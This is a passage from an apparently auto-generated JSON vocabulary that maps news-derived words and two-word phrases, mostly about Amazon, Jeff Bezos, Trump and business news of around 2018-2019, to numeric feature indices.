181406661\": 675,\n  \"sears shares\": 676,\n  \"journeys\": 677,\n  \"solicited bids\": 678,\n  \"clayborne carson\": 679,\n  \"lilly yesterday\": 680,\n  \"sister manager\": 681,\n  \"simply sat\": 682,\n  \"2018 geeks\": 683,\n  \"bezos yes\": 684,\n  \"expose nude\": 685,\n  \"internationalversion imagemodels\": 686,\n  \"city offers\": 687,\n  \"broke soon\": 688,\n  \"agonized present\": 689,\n  \"mandatory inclusionary\": 690,\n  \"thousand years\": 691,\n  \"book strangely\": 692,\n  \"illinois elected\": 693,\n  \"o2x s0\": 694,\n  \"correctly forecasting\": 695,\n  \"note distributed\": 696,\n  \"jedi saying\": 697,\n  \"visiting american\": 698,\n  \"declared bankruptcy\": 699,\n  \"want chinese\": 700,\n  \"2736762\": 701,\n  \"stated watch\": 702,\n  \"clinton winning\": 703,\n  \"talent particularly\": 704,\n  \"buying batteries\": 705,\n  \"thompson wrote\": 706,\n  \"tactics\": 707,\n  \"gigolo\": 708,\n  \"staffers experience\": 709,\n  \"volume philosophy\": 710,\n  \"chadra\": 711,\n  \"chase investment\": 712,\n  \"ac bc\": 713,\n  \"crafted\": 714,\n  \"shelters trump\": 715,\n  \"unless president\": 716,\n  \"pecker according\": 717,\n  \"called jeff\": 718,\n  \"muse project\": 719,\n  \"maker nvidia\": 720,\n  \"stern rebuke\": 721,\n  \"canadian city\": 722,\n  \"negotiated reductions\": 723,\n  \"ogilvie\": 724,\n  \"disappointments\": 725,\n  \"registration numbers\": 726,\n  \"analyst john\": 727,\n  \"music royalties\": 728,\n  \"billion building\": 729,\n  \"brazil plans\": 730,\n  \"additional rocket\": 731,\n  \"subtly\": 732,\n  \"pre nuptial\": 733,\n  \"schools set\": 734,\n  \"reuters abhishek\": 735,\n  \"executives introduced\": 736,\n  \"authorized successor\": 737,\n  \"york politician\": 738,\n  \"amazon tapped\": 739,\n  \"country entered\": 740,\n  \"forbes named\": 741,\n  \"beware\": 742,\n  \"motley launched\": 743,\n  \"getelementbyid spinner_\": 744,\n  \"occupied east\": 745,\n  \"providers amazon\": 746,\n  \"paths daily\": 747,\n  \"president working\": 748,\n  \"provisions regarding\": 749,\n  \"margins amazon\": 750,\n  \"place ocasio\": 751,\n  \"raw figures\": 752,\n  \"horse muckerman\": 753,\n  \"promulgated\": 754,\n  \"capitals\": 755,\n  \"explosive source\": 756,\n  \"investigate twitter\": 757,\n  \"completes acquisition\": 758,\n  \"lawyer rudolph\": 759,\n  \"contributed\": 760,\n  \"2018 seattle\": 761,\n  \"inextricably linked\": 762,\n  \"bladder infection\": 763,\n  \"baltic money\": 764,\n  \"shoving\": 765,\n  \"tmi respecting\": 766,\n  \"invests\": 767,\n  \"center tamara\": 768,\n  \"prescriptions drugs\": 769,\n  \"employees troubled\": 770,\n  \"experiences today\": 771,\n  \"actually higher\": 772,\n  \"works great\": 773,\n  \"just cats\": 774,\n  \"nungesser\": 775,\n  \"augured mass\": 776,\n  \"tower follows\": 777,\n  \"governmental advisory\": 778,\n  \"criticised president\": 779,\n  \"year adopted\": 780,\n  \"tjl\": 781,\n  \"mistress want\": 782,\n  \"headed academics\": 783,\n  \"tabloid spokesman\": 784,\n  \"exclusively air\": 785,\n  \"angry line\": 786,\n  \"teasing\": 787,\n  \"rules ms\": 788,\n  \"affiliate marketing\": 789,\n  \"man decided\": 790,\n  \"echo\": 791,\n  \"editorial controls\": 792,\n  \"hitters\": 793,\n  \"depository\": 794,\n  \"buzzfeed 238876\": 795,\n  \"catz discussed\": 796,\n  \"warren discussed\": 797,\n  \"marketwatch editor\": 798,\n  \"budget friendly\": 799,\n  \"outsized impacts\": 800,\n  \"reagan pointed\": 801,\n  \"canelo\": 802,\n  \"fewer false\": 803,\n  \"bluemountain capital\": 804,\n  \"makes people\": 805,\n  \"york alexandria\": 806,\n  \"practice group\": 807,\n  \"mulling using\": 808,\n  \"million cloud\": 809,\n  \"canadian stock\": 810,\n  \"retailing counterpart\": 811,\n  \"garmin hosts\": 812,\n  \"initiative military\": 813,\n  \"declines stemming\": 814,\n  \"having spent\": 815,\n  \"fonda ulee\": 816,\n  \"rachel crane\": 817,\n  \"point rubenstein\": 818,\n  \"today trade\": 819,\n  \"probably taken\": 820,\n  \"moderating shipping\": 821,\n  \"groove\": 822,\n  \"24x7\": 823,\n  \"balloonfest\": 824,\n  \"york business\": 825,\n  \"azerbaijan\": 826,\n  \"circle warn\": 827,\n  \"diginomica style\": 828,\n  \"evolutions\": 829,\n  \"charged automatically\": 830,\n  \"working people\": 831,\n  \"faltering\": 832,\n  \"called vice\": 833,\n  \"platform google\": 834,\n  \"bandwagonmany months\": 835,\n  \"million aws\": 836,\n  \"protagonist phoebe\": 837,\n  \"receive 180\": 838,\n  \"respectively power\": 839,\n  \"question specifically\": 840,\n  \"sisters\": 841,\n  \"paulo guedes\": 842,\n  \"arrow directed\": 843,\n  \"justicedems\": 844,\n  \"urging\": 845,\n  \"original uploaded_files\": 846,\n  \"story highlights\": 847,\n  \"help veterans\": 848,\n  \"country goods\": 849,\n  \"unusual\": 850,\n  \"antonio political\": 851,\n  \"cady coleman\": 852,\n  \"chiefs bezos\": 853,\n  \"amazon citing\": 854,\n  \"make awful\": 855,\n  \"anthrax\": 856,\n  \"nuance\": 857,\n  \"money mistake\": 858,\n  \"stunt china\": 859,\n  \"local wage\": 860,\n  \"terrorist groups\": 861,\n  \"offset\": 862,\n  \"secretly protecting\": 863,\n  \"sizelarger\": 864,\n  \"gift wrapped\": 865,\n  \"biting comic\": 866,\n  \"corporations sort\": 867,\n  \"1927\": 868,\n  \"increasingly credible\": 869,\n  \"kitsap county\": 870,\n  \"sleepy\": 871,\n  \"saqib shah\": 872,\n  \"thumb thumbimagelargesource\": 873,\n  \"order expanding\": 874,\n  \"qanon climbed\": 875,\n  \"outspoken enthusiasm\": 876,\n  \"technology engineering\": 877,\n  \"took shape\": 878,\n  \"corsi copies\": 879,\n  \"taking hit\": 880,\n  \"capital forum\": 881,\n  \"legislature\": 882,\n  \"great future\": 883,\n  \"taliban talks\": 884,\n  \"misfit\": 885,\n  \"proffer\": 886,\n  \"outbreak\": 887,\n  \"amazon lowe\": 888,\n  \"air cargo\": 889,\n  \"tom forte\": 890,\n  \"website quietly\": 891,\n  \"questioning helped\": 892,\n  \"american children\": 893,\n  \"quickly recovered\": 894,\n  \"provided quantitative\": 895,\n  \"2020 count\": 896,\n  \"companions working\": 897,\n  \"pharmacy stocks\": 898,\n  \"including cbs\": 899,\n  \"singapore malaysia\": 900,\n  \"sony pictures\": 901,\n  \"certainty\": 902,\n  \"energy greenpeace\": 903,\n  \"gains yahoo\": 904,\n  \"revelry\": 905,\n  \"home 2420\": 906,\n  \"medical school\": 907,\n  \"liners reassess\": 908,\n  \"tax exempt\": 909,\n  \"summer tweeted\": 910,\n  \"king think\": 911,\n  \"inflation governor\": 912,\n  \"presence\": 913,\n  \"process says\": 914,\n  \"report states\": 915,\n  \"sizes\": 916,\n  \"tabloid media\": 917,\n  \"purloined\": 918,\n  \"public announcement\": 919,\n  \"transformation\": 920,\n  \"isolating\": 921,\n  \"owns fake\": 922,\n  \"sales atlanta\": 923,\n  \"trump castigation\": 924,\n  \"subsidizing undocumented\": 925,\n  \"appear custom\": 926,\n  \"critics worry\": 927,\n  \"rustic\": 928,\n  \"live nearby\": 929,\n  \"leak noting\": 930,\n  \"stunning stock\": 931,\n  \"sept 2017\": 932,\n  \"lurid bezos\": 933,\n  \"cut costs\": 934,\n  \"workers ceo\": 935,\n  \"deserving trauma\": 936,\n  \"montreal born\": 937,\n  \"proudly break\": 938,\n  \"service hunting\": 939,\n  \"suit filed\": 940,\n  \"hard drive\": 941,\n  \"status quo\": 942,\n  \"power trump\": 943,\n  \"batali sexual\": 944,\n  \"adjusted margins\": 945,\n  \"orders amazon\": 946,\n  \"contacted schweitzer\": 947,\n  \"dogtooth\": 948,\n  \"industry scheduled\": 949,\n  \"watch assuming\": 950,\n  \"financial regulator\": 951,\n  \"stay quiet\": 952,\n  \"bring action\": 953,\n  \"nutrition including\": 954,\n  \"roll forward\": 955,\n  \"original shows\": 956,\n  \"amazon items\": 957,\n  \"funds dwarfs\": 958,\n  \"tech wonkactivists\": 959,\n  \"leave lin\": 960,\n  \"nakedly\": 961,\n  \"luxury goods\": 962,\n  \"live streams\": 963,\n  \"28th\": 964,\n  \"combative\": 965,\n  \"exhibitors alike\": 966,\n  \"latest round\": 967,\n  \"remorse\": 968,\n  \"prime won\": 969,\n  \"l7 x2x\": 970,\n  \"harassment changes\": 971,\n  \"developing adds\": 972,\n  \"jon kaplan\": 973,\n  \"piper jaffray\": 974,\n  \"exemptions employers\": 975,\n  \"historic drop\": 976,\n  \"afp attorney\": 977,\n  \"borrowers 2018\": 978,\n  \"commonly sold\": 979,\n  \"story carmaggedon\": 980,\n  \"t9x g0\": 981,\n  \"assist navy\": 982,\n  \"operational\": 983,\n  \"banned\": 984,\n  \"fiscal 2020\": 985,\n  \"donors promising\": 986,\n  \"alleged affair\": 987,\n  \"powers putin\": 988,\n  \"wall today\": 989,\n  \"trump prescribes\": 990,\n  \"worker friendly\": 991,\n  \"candles\": 992,\n  \"rocket successfully\": 993,\n  \"train customers\": 994,\n  \"inordinate\": 995,\n  \"journalist implying\": 996,\n  \"public reserve\": 997,\n  \"mandate sales\": 998,\n  \"washington edging\": 999,\n  \"new monster\": 1000,\n  \"khaled\": 1001,\n  \"including legal\": 1002,\n  \"escaping read\": 1003,\n  \"displaying monopolistic\": 1004,\n  \"jobs garofalo\": 1005,\n  \"139 kyle\": 1006,\n  \"cleaning products\": 1007,\n  \"music licensing\": 1008,\n  \"journal amazon\": 1009,\n  \"destruction rainforest\": 1010,\n  \"zones did\": 1011,\n  \"national competition\": 1012,\n  \"chia pets\": 1013,\n  \"isn maybe\": 1014,\n  \"conducting\": 1015,\n  \"content creators\": 1016,\n  \"election night\": 1017,\n  \"mogul pending\": 1018,\n  \"retail stores\": 1019,\n  \"documents working\": 1020,\n  \"chipotle mexican\": 1021,\n  \"city ability\": 1022,\n  \"death phoenix\": 1023,\n  \"substantive emergency\": 1024,\n  \"135 150\": 1025,\n  \"elevated schaeffer\": 1026,\n  \"mckenzie\": 1027,\n  \"seafair\": 1028,\n  \"taxpayer bribes\": 1029,\n  \"appropriators\": 1030,\n  \"cortez favorably\": 1031,\n  \"marking surprising\": 1032,\n  \"268 residents\": 1033,\n  \"natural\": 1034,\n  \"3rd social\": 1035,\n  \"imported highly\": 1036,\n  \"box floating\": 1037,\n  \"goode\": 1038,\n  \"workers minimum\": 1039,\n  \"bigwigs\": 1040,\n  \"fnn\": 1041,\n  \"adamis\": 1042,\n  \"dying contradicting\": 1043,\n  \"story verizon\": 1044,\n  \"grounded jet\": 1045,\n  \"big reversal\": 1046,\n  \"employees low\": 1047,\n  \"parents women\": 1048,\n  \"wing base\": 1049,\n  \"handing president\": 1050,\n  \"boeing ebay\": 1051,\n  \"hamper amazon\": 1052,\n  \"listing provides\": 1053,\n  \"headlines lasted\": 1054,\n  \"focus roku\": 1055,\n  \"great job\": 1056,\n  \"private pictures\": 1057,\n  \"party counterfeit\": 1058,\n  \"issues explained\": 1059,\n  \"plan reuters\": 1060,\n  \"\\u0645\\u0646\\u0634\\u0646\\u062a\\u0647\\u0645 \\u0630\\u0627\\u0643\": 1061,\n  \"wealthiest americans\": 1062,\n  \"sea grabbing\": 1063,\n  \"greer interesting\": 1064,\n  \"meeting regarding\": 1065,\n  \"hunt theserpicoside\": 1066,\n  \"800 respondents\": 1067,\n  \"dark arts\": 1068,\n  \"outraged\": 1069,\n  \"break return\": 1070,\n  \"amazon bestselling\": 1071,\n  \"government owned\": 1072,\n  \"included pages\": 1073,\n  \"david bormel\": 1074,\n  \"estate venture\": 1075,\n  \"mild discomfort\": 1076,\n  \"industry primarily\": 1077,\n  \"finds objectionable\": 1078,\n  \"desperately needed\": 1079,\n  \"recently started\": 1080,\n  \"issuing national\": 1081,\n  \"missing pets\": 1082,\n  \"blaxploitation\": 1083,\n  \"security architect\": 1084,\n  \"distributors say\": 1085,\n  \"currently amazon\": 1086,\n  \"fully charged\": 1087,\n  \"y29uc3rydwn0b3i\": 1088,\n  \"chinas zte\": 1089,\n  \"ap associated\": 1090,\n  \"shares spectrum\": 1091,\n  \"market distortion\": 1092,\n  \"lead singer\": 1093,\n  \"financially challenged\": 1094,\n  \"amazon ellison\": 1095,\n  \"just listen\": 1096,\n  \"older read\": 1097,\n  \"says laurie\": 1098,\n  \"disavow\": 1099,\n  \"mohan\": 1100,\n  \"previous google\": 1101,\n  \"owns square\": 1102,\n  \"dominique ansel\": 1103,\n  \"unfair deal\": 1104,\n  \"effectively given\": 1105,\n  \"time icann\": 1106,\n  \"tolling works\": 1107,\n  \"keyboard tray\": 1108,\n  \"celebrity president\": 1109,\n  \"explored business\": 1110,\n  \"aapl facebook\": 1111,\n  \"business european\": 1112,\n  \"fronts including\": 1113,\n  \"profoundly wrong\": 1114,\n  \"missing targets\": 1115,\n  \"news developments\": 1116,\n  \"paychecks human\": 1117,\n  \"reserves bolsonaro\": 1118,\n  \"extract retribution\": 1119,\n  \"and\\u0430lookee\\u0430here\": 1120,\n  \"immigration vote\": 1121,\n  \"hitting notable\": 1122,\n  \"sears roebuck\": 1123,\n  \"finds owner\": 1124,\n  \"transgender cake\": 1125,\n  \"sack click\": 1126,\n  \"senators susan\": 1127,\n  \"amancio ortega\": 1128,\n  \"easily deliver\": 1129,\n  \"trump pressed\": 1130,\n  \"discounts enjoyed\": 1131,\n  \"fowler viral\": 1132,\n  \"letting cambridge\": 1133,\n  \"truck\": 1134,\n  \"talks drew\": 1135,\n  \"retreating\": 1136,\n  \"cahnemily\": 1137,\n  \"sexting exchange\": 1138,\n  \"taxpayers subsidizing\": 1139,\n  \"wore long\": 1140,\n  \"independence\": 1141,\n  \"excel\": 1142,\n  \"resuming\": 1143,\n  \"molehills\": 1144,\n  \"shares helped\": 1145,\n  \"potential monopoly\": 1146,\n  \"price nc\": 1147,\n  \"harmful act\": 1148,\n  \"relies heavily\": 1149,\n  \"solution won\": 1150,\n  \"endorsements\": 1151,\n  \"oscars memorable\": 1152,\n  \"couple released\": 1153,\n  \"gripped readers\": 1154,\n  \"proliferated\": 1155,\n  \"flavor\": 1156,\n  \"orwell\": 1157,\n  \"ranking salesforce\": 1158,\n  \"planned parenthood\": 1159,\n  \"dannyzuker replied\": 1160,\n  \"rated debt\": 1161,\n  \"shipping solution\": 1162,\n  \"president soon\": 1163,\n  \"personal ties\": 1164,\n  \"telephone conversation\": 1165,\n  \"539 2529\": 1166,\n  \"solution lies\": 1167,\n  \"question congressmembers\": 1168,\n  \"hemberger\": 1169,\n  \"exotic\": 1170,\n  \"slowing tad\": 1171,\n  \"swb swbtaos\": 1172,\n  \"sales platform\": 1173,\n  \"including alibaba\": 1174,\n  \"chains experimenting\": 1175,\n  \"hours china\": 1176,\n  \"mugs bumper\": 1177,\n  \"thought david\": 1178,\n  \"leading budget\": 1179,\n  \"local tv\": 1180,\n  \"italys\": 1181,\n  \"market conditions\": 1182,\n  \"copyright office\": 1183,\n  \"kaswell author\": 1184,\n  \"marketwatch russian\": 1185,\n  \"goods otr\": 1186,\n  \"weather alabama\": 1187,\n  \"matt viser\": 1188,\n  \"doing added\": 1189,\n  \"compel\": 1190,\n  \"life trump\": 1191,\n  \"giant confirmed\": 1192,\n  \"brother died\": 1193,\n  \"unforeseeable event\": 1194,\n  \"ensure delivery\": 1195,\n  \"becker claims\": 1196,\n  \"writ\": 1197,\n  \"joel negrete\": 1198,\n  \"hurting business\": 1199,\n  \"china having\": 1200,\n  \"organization executives\": 1201,\n  \"longer receive\": 1202,\n  \"trump acosta\": 1203,\n  \"showtime website\": 1204,\n  \"advertising makes\": 1205,\n  \"predicted huge\": 1206,\n  \"stanchion\": 1207,\n  \"ted turner\": 1208,\n  \"newspaper frequently\": 1209,\n  \"graphic shows\": 1210,\n  \"smithsonian institute\": 1211,\n  \"marcus\": 1212,\n  \"deliver medicines\": 1213,\n  \"lyons\": 1214,\n  \"trimming faang\": 1215,\n  \"ice homeland\": 1216,\n  \"predicted stay\": 1217,\n  \"right eye\": 1218,\n  \"profit center\": 1219,\n  \"opposing changes\": 1220,\n  \"techcrunch bloomberg\": 1221,\n  \"flourishing google\": 1222,\n  \"insiders wealthy\": 1223,\n  \"just generalized\": 1224,\n  \"irk bezos\": 1225,\n  \"262 vehicles\": 1226,\n  \"southern n924661\": 1227,\n  \"recent controversies\": 1228,\n  \"investor michael\": 1229,\n  \"reported wellington\": 1230,\n  \"major bureaus\": 1231,\n  \"unveiled 132\": 1232,\n  \"jordan yamiche\": 1233,\n  \"actually felt\": 1234,\n  \"readily bans\": 1235,\n  \"righteous anger\": 1236,\n  \"washpost\": 1237,\n  \"vote copyright\": 1238,\n  \"holiday retail\": 1239,\n  \"investor george\": 1240,\n  \"yeller\": 1241,\n  \"jodie patterson\": 1242,\n  \"timescolumnist danny\": 1243,\n  \"ryan poe\": 1244,\n  \"draft divorce\": 1245,\n  \"gov arnold\": 1246,\n  \"ith amazon\": 1247,\n  \"metadata\": 1248,\n  \"city permanent\": 1249,\n  \"capacity concerns\": 1250,\n  \"million workers\": 1251,\n  \"equipment furniture\": 1252,\n  \"vodafone australia\": 1253,\n  \"lured public\": 1254,\n  \"business television\": 1255,\n  \"warren 2020\": 1256,\n  \"divisive views\": 1257,\n  \"holds 867\": 1258,\n  \"word turned\": 1259,\n  \"incumbent andy\": 1260,\n  \"ensure long\": 1261,\n  \"adjusted mel\": 1262,\n  \"strong enforcement\": 1263,\n  \"carrying amounts\": 1264,\n  \"ceo nick\": 1265,\n  \"crisis right\": 1266,\n  \"checking trump\": 1267,\n  \"yesterday tragic\": 1268,\n  \"ago aqua\": 1269,\n  \"chairman john\": 1270,\n  \"literature\": 1271,\n  \"asked employees\": 1272,\n  \"hro\": 1273,\n  \"criminally wrong\": 1274,\n  \"alphabet salad\": 1275,\n  \"administration meddling\": 1276,\n  \"obamacare implode\": 1277,\n  \"autism funding\": 1278,\n  \"story reddit\": 1279,\n  \"entertained watch\": 1280,\n  \"combined value\": 1281,\n  \"coffers\": 1282,\n  \"handwritten annotations\": 1283,\n  \"thrill\": 1284,\n  \"motorists 2018\": 1285,\n  \"wing positions\": 1286,\n  \"ralph waldo\": 1287,\n  \"luis enrique\": 1288,\n  \"patriot\": 1289,\n  \"make broadcasting\": 1290,\n  \"hindsley\": 1291,\n  \"outrage\": 1292,\n  \"closes\": 1293,\n  \"seas\": 1294,\n  \"reactions senate\": 1295,\n  \"trump assumes\": 1296,\n  \"aclu tested\": 1297,\n  \"pedestrian tv\": 1298,\n  \"shaven face\": 1299,\n  \"today press\": 1300,\n  \"important newspapers\": 1301,\n  \"park right\": 1302,\n  \"little fanfare\": 1303,\n  \"with\\u0430proceeds going\": 1304,\n  \"unfair advantage\": 1305,\n  \"ducey\": 1306,\n  \"court flipped\": 1307,\n  \"vaguely say\": 1308,\n  \"deliberately used\": 1309,\n  \"starboard 2018\": 1310,\n  \"limited tango\": 1311,\n  \"kevin mccarthy\": 1312,\n  \"hosts contract\": 1313,\n  \"housewife\": 1314,\n  \"appreciate\": 1315,\n  \"brazil presidential\": 1316,\n  \"election amazon\": 1317,\n  \"market collapse\": 1318,\n  \"sports money\": 1319,\n  \"constant drumbeat\": 1320,\n  \"portal called\": 1321,\n  \"ship model\": 1322,\n  \"political logic\": 1323,\n  \"debate story\": 1324,\n  \"reporte\": 1325,\n  \"enabled hate\": 1326,\n  \"post disclosed\": 1327,\n  \"dave reiterates\": 1328,\n  \"digital retail\": 1329,\n  \"market perform\": 1330,\n  \"construction trump\": 1331,\n  \"bezos sitting\": 1332,\n  \"business soon\": 1333,\n  \"investor mark\": 1334,\n  \"bite developing\": 1335,\n  \"highlighting mom\": 1336,\n  \"human species\": 1337,\n  \"previously amazon\": 1338,\n  \"president prior\": 1339,\n  \"entrepreneur 150bn\": 1340,\n  \"landmark shows\": 1341,\n  \"miserly\": 1342,\n  \"robert palmer\": 1343,\n  \"revenue grew\": 1344,\n  \"trees 2018\": 1345,\n  \"zuckerbook tim\": 1346,\n  \"sanders leader\": 1347,\n  \"securing public\": 1348,\n  \"control plane\": 1349,\n  \"iteration\": 1350,\n  \"showing dozens\": 1351,\n  \"tpm livewire\": 1352,\n  \"trump relationship\": 1353,\n  \"bezos presumably\": 1354,\n  \"month click\": 1355,\n  \"moreno\": 1356,\n  \"fascinated\": 1357,\n  \"marsden\": 1358,\n  \"ultimately hopes\": 1359,\n  \"amazon pegged\": 1360,\n  \"jeopardize family\": 1361,\n  \"accounting\": 1362,\n  \"seller group\": 1363,\n  \"using economic\": 1364,\n  \"governing banks\": 1365,\n  \"media ami\": 1366,\n  \"package including\": 1367,\n  \"define mass\": 1368,\n  \"delivers affordable\": 1369,\n  \"meddling days\": 1370,\n  \"home inspectors\": 1371,\n  \"sen jeff\": 1372,\n  \"opening line\": 1373,\n  \"sad lot\": 1374,\n  \"including macy\": 1375,\n  \"poached john\": 1376,\n  \"provide tax\": 1377,\n  \"retail public\": 1378,\n  \"ex data\": 1379,\n  \"historical election\": 1380,\n  \"offerings frequently\": 1381,\n  \"financially troubled\": 1382,\n  \"jail booking\": 1383,\n  \"chief operating\": 1384,\n  \"brand interests\": 1385,\n  \"trump claiming\": 1386,\n  \"topsellers\\u0430list higher\": 1387,\n  \"straight year\": 1388,\n  \"28news\": 1389,\n  \"outrageous\": 1390,\n  \"official threat\": 1391,\n  \"atwood dystopian\": 1392,\n  \"yorkers student\": 1393,\n  \"coincidentally kohl\": 1394,\n  \"divorce predicting\": 1395,\n  \"poll reports\": 1396,\n  \"kilometers north\": 1397,\n  \"higher delinquencies\": 1398,\n  \"new project\": 1399,\n  \"including local\": 1400,\n  \"clerical\": 1401,\n  \"bird obsession\": 1402,\n  \"strives\": 1403,\n  \"tectonic shift\": 1404,\n  \"bulls\": 1405,\n  \"size imagine\": 1406,\n  \"says biden\": 1407,\n  \"downstream\": 1408,\n  \"organization role\": 1409,\n  \"fox parent\": 1410,\n  \"pocket\": 1411,\n  \"affair wired\": 1412,\n  \"acquiring flipkart\": 1413,\n  \"presidential campaign\": 1414,\n  \"upbeat jobs\": 1415,\n  \"unhinged supporters\": 1416,\n  \"second largest\": 1417,\n  \"jitters offset\": 1418,\n  \"times suggested\": 1419,\n  \"parent educator\": 1420,\n  \"great paper\": 1421,\n  \"joint news\": 1422,\n  \"250 000\": 1423,\n  \"world netflix\": 1424,\n  \"snapes\": 1425,\n  \"report public\": 1426,\n  \"yorktimes right\": 1427,\n  \"characters nina\": 1428,\n  \"numbers globaldata\": 1429,\n  \"astray\": 1430,\n  \"enquirer scandal\": 1431,\n  \"largest retailer\": 1432,\n  \"gist\": 1433,\n  \"mines komatsu\": 1434,\n  \"love danielle\": 1435,\n  \"fervently despises\": 1436,\n  \"commitments roku\": 1437,\n  \"jennifer rie\": 1438,\n  \"wing ideology\": 1439,\n  \"restaurant best\": 1440,\n  \"tomorrow wall\": 1441,\n  \"2011 merkel\": 1442,\n  \"tucked\": 1443,\n  \"french post\": 1444,\n  \"term bounce\": 1445,\n  \"document location\": 1446,\n  \"proposal\": 1447,\n  \"unlikely alliance\": 1448,\n  \"sheds\": 1449,\n  \"\\u00e9tat\": 1450,\n  \"market listed\": 1451,\n  \"struggling metropolis\": 1452,\n  \"visy industries\": 1453,\n  \"receiving federal\": 1454,\n  \"months according\": 1455,\n  \"wilke jeffrey\": 1456,\n  \"sea china\": 1457,\n  \"kominsky\": 1458,\n  \"govpredict published\": 1459,\n  \"marc lore\": 1460,\n  \"available\": 1461,\n  \"striking teachers\": 1462,\n  \"events befell\": 1463,\n  \"service finances\": 1464,\n  \"webdisplayname politics\": 1465,\n  \"islamic militants\": 1466,\n  \"unpopular bezos\": 1467,\n  \"coherent\": 1468,\n  \"week don\": 1469,\n  \"turkey business\": 1470,\n  \"cloud bid\": 1471,\n  \"andrewmccabe\": 1472,\n  \"includes hardcovers\": 1473,\n  \"emmerich fbi\": 1474,\n  \"accidentally heard\": 1475,\n  \"adj eps\": 1476,\n  \"apples stock\": 1477,\n  \"claims housing\": 1478,\n  \"called fedex\": 1479,\n  \"crafts platform\": 1480,\n  \"undermine fed\": 1481,\n  \"private education\": 1482,\n  \"challenge hazelwood\": 1483,\n  \"monopoly cronyism\": 1484,\n  \"tipsters\": 1485,\n  \"male sexual\": 1486,\n  \"star wilson\": 1487,\n  \"problem della\": 1488,\n  \"ensuring fair\": 1489,\n  \"elemental amazon\": 1490,\n  \"colour face\": 1491,\n  \"stockholm syndrome\": 1492,\n  \"disproportionate share\": 1493,\n  \"indigenous control\": 1494,\n  \"make online\": 1495,\n  \"free download\": 1496,\n  \"directly affected\": 1497,\n  \"bolsonaro view\": 1498,\n  \"litigative\": 1499,\n  \"monarch butterflies\": 1500,\n  \"income families\": 1501,\n  \"infecting\": 1502,\n  \"murray fortune\": 1503,\n  \"dianne\": 1504,\n  \"remove mark\": 1505,\n  \"levels trust\": 1506,\n  \"applicants\": 1507,\n  \"baby sparks\": 1508,\n  \"risk public\": 1509,\n  \"sprawling amazon\": 1510,\n  \"mega project\": 1511,\n  \"bernstein research\": 1512,\n  \"safeway\": 1513,\n  \"emailing popular\": 1514,\n  \"twitter constituency\": 1515,\n  \"maura\": 1516,\n  \"ultra violence\": 1517,\n  \"downwardly\": 1518,\n  \"platforms defense\": 1519,\n  \"alternative energy\": 1520,\n  \"asked repeatedly\": 1521,\n  \"talk\": 1522,\n  \"independent make\": 1523,\n  \"2019 amazon\": 1524,\n  \"secretly meeting\": 1525,\n  \"printing plants\": 1526,\n  \"bury unfavorable\": 1527,\n  \"recent action\": 1528,\n  \"message tucker\": 1529,\n  \"keeps prices\": 1530,\n  \"politics elections\": 1531,\n  \"james whetlor\": 1532,\n  \"law mandating\": 1533,\n  \"daniel castro\": 1534,\n  \"unprecedented integrated\": 1535,\n  \"letterman netflix\": 1536,\n  \"behavior amazon\": 1537,\n  \"company pays\": 1538,\n  \"quandary\": 1539,\n  \"rising trump\": 1540,\n  \"fargo 2018\": 1541,\n  \"story fedex\": 1542,\n  \"buff\": 1543,\n  \"dominion agreed\": 1544,\n  \"largesse\": 1545,\n  \"cleverly\": 1546,\n  \"respective works\": 1547,\n  \"reaching bilateral\": 1548,\n  \"inaccurate census\": 1549,\n  \"doubt amazon\": 1550,\n  \"based sumitomo\": 1551,\n  \"head\": 1552,\n  \"shipping\": 1553,\n  \"watson earvilwatson\": 1554,\n  \"ago breakthrough\": 1555,\n  \"preventing\": 1556,\n  \"recommendations contract\": 1557,\n  \"founder jeff\": 1558,\n  \"movie fanatic\": 1559,\n  \"expanding growth\": 1560,\n  \"l8 d8\": 1561,\n  \"democratic warnings\": 1562,\n  \"proceedings\": 1563,\n  \"million yearly\": 1564,\n  \"wyatt\": 1565,\n  \"determining factors\": 1566,\n  \"hendricksen\": 1567,\n  \"job jack\": 1568,\n  \"s7a\": 1569,\n  \"business age\": 1570,\n  \"nashville\": 1571,\n  \"war fearstrump\": 1572,\n  \"equal wilke\": 1573,\n  \"pretty nonpartisan\": 1574,\n  \"trump care\": 1575,\n  \"education reporters\": 1576,\n  \"mackenzie called\": 1577,\n  \"tweeting tpg\": 1578,\n  \"wapo jonathan\": 1579,\n  \"mackenziebezos\": 1580,\n  \"x1\": 1581,\n  \"propublica piece\": 1582,\n  \"men stood\": 1583,\n  \"source database\": 1584,\n  \"bandwidth\": 1585,\n  \"service background\": 1586,\n  \"amendment besieged\": 1587,\n  \"alibi\": 1588,\n  \"stock according\": 1589,\n  \"usps important\": 1590,\n  \"monolithic size\": 1591,\n  \"gathering distributors\": 1592,\n  \"116\": 1593,\n  \"stephanie rugoff\": 1594,\n  \"truck soundtrack\": 1595,\n  \"beat analysts\": 1596,\n  \"horse actor\": 1597,\n  \"especially having\": 1598,\n  \"particular note\": 1599,\n  \"killing shopping\": 1600,\n  \"company self\": 1601,\n  \"vegas managed\": 1602,\n  \"gathered data\": 1603,\n  \"amazon star\": 1604,\n  \"spin round\": 1605,\n  \"vested stock\": 1606,\n  \"productivity enforcing\": 1607,\n  \"fda approval\": 1608,\n  \"upbeat number\": 1609,\n  \"crore fresh\": 1610,\n  \"company snc\": 1611,\n  \"hero guess\": 1612,\n  \"benefit clients\": 1613,\n  \"parole sponsor\": 1614,\n  \"largesse little\": 1615,\n  \"considerable authority\": 1616,\n  \"food originates\": 1617,\n  \"older car\": 1618,\n  \"company quarterly\": 1619,\n  \"provisional ballots\": 1620,\n  \"set target\": 1621,\n  \"answer math\": 1622,\n  \"uber negative\": 1623,\n  \"stone jonah\": 1624,\n  \"blinch reuters\": 1625,\n  \"china biggest\": 1626,\n  \"abuse multiple\": 1627,\n  \"corey lewandowski\": 1628,\n  \"annoys trump\": 1629,\n  \"racist bigoted\": 1630,\n  \"years president\": 1631,\n  \"iven\": 1632,\n  \"competitors usps\": 1633,\n  \"investigations work\": 1634,\n  \"legal remedy\": 1635,\n  \"artists artisans\": 1636,\n  \"big ideas\": 1637,\n  \"trust stated\": 1638,\n  \"twitter poaching\": 1639,\n  \"passenger\": 1640,\n  \"earlier google\": 1641,\n  \"send2press\": 1642,\n  \"guns campaign\": 1643,\n  \"information requested\": 1644,\n  \"mountain view\": 1645,\n  \"bourbon cigar\": 1646,\n  \"trust situation\": 1647,\n  \"dodge sales\": 1648,\n  \"2018 troy\": 1649,\n  \"sparing\": 1650,\n  \"particularly low\": 1651,\n  \"creates 1st\": 1652,\n  \"certain markets\": 1653,\n  \"recessions\": 1654,\n  \"dry\": 1655,\n  \"fiction specialist\": 1656,\n  \"addition investors\": 1657,\n  \"wage fox\": 